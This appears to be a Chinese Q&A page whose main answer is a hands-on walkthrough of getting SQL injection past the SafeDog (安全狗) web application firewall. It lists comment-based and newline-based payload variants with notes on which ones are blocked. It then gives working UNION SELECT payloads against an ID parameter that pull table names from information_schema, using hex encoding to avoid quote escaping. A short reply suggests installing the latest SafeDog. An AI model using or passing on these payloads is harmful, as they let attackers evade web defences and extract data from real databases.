发布网友 发布时间:2022-05-03 08:01
共2个回答
懂视网 时间:2022-05-03 12:23
and /*!1=1*/ 不拦截
and hex(1) 不拦截
%23%0a 1=1 拦截
发现单个order不拦截 单个by不拦截 只要order by 结合就被拦截
安全狗他拦截哪里我们就绕哪里
order%23%0aby 1 不拦截
order /*!by */ 1 拦截
order --+%0a by 拦截
一般安全狗这种对查询中间添加一些无用数据就不会拦截 order xxx by
order all by 1不拦截 但是这种查询语句就无效的,这里我们就要想办法给他给注释掉
order --+all%0a by 1 不拦截 且语句有效
还是单个union不拦截 单个select不拦截 只要union select 结合就被拦截,还是跟order by绕过一样添加数据绕过安全狗的匹配
union%23%0aselect 被拦截
union--+%0aselect 被拦截
union%23xxx%0aselect 不拦截
union-- xxx%0aselect 不拦截
union--+xxx%0aselect 不拦截
这里还有个绕过方法安全狗不会对/ /里面内容进行校验,可以从这里入手
/&ID=-17 union select 1,2,3,4,5,6,7,8,9,10,11,12,13%23/ 不拦截
这里就是通过一个注释符%23把后面 / 形成一个完整的sql语句,也可以通过其他注释符进行注释.
ID=-17 "/" union select 1,2,3,4,5,6,7,8,9,10,11,12,13 "/" 不拦截 ,但是这个前提条件对方不开gpc或者使用addslashes()函数要不然单双引号被转义
database() -->database/**/()
database() -->database/*!()*/
user() --> user/**/()
user() -->user/*!()*/
等等,基本上这个/**/就可以绕过了系统函数
如果这里我们使用联合查询第二种在里面进行查询的话,就不需要绕过直接构造正常语句就可以进行查询
?/*&ID=-17 union select 1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13 from information_schema.tables where table_schema=database()%23*/
如果这里我们不使用上面那种方法,来进行绕过.
这里 使用%23njjknjk%0a来绕过union select , from information_schema.tables,这里面%23这里可以随意添加数据%0a,如果转义了单双号进行hex编码绕过
?ID=-17 union %23njjknjk%0a select 1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13 from%23njjknjk%0ainformation_schema.tables%23njjknjk%0awhere%20table_schema=0x73685f6a7a%20--+
一次实战sql注入绕狗
标签:dsl 校验 tables 编码 from alt data cat 结合
热心网友 时间:2022-05-03 09:31
有个办法非常简单,安装安全狗就行了要最新版的,他如果能绕过再告诉你其他办法。追问装了安全狗 没有用 服务器安全狗和网站安全狗都装了追答最新的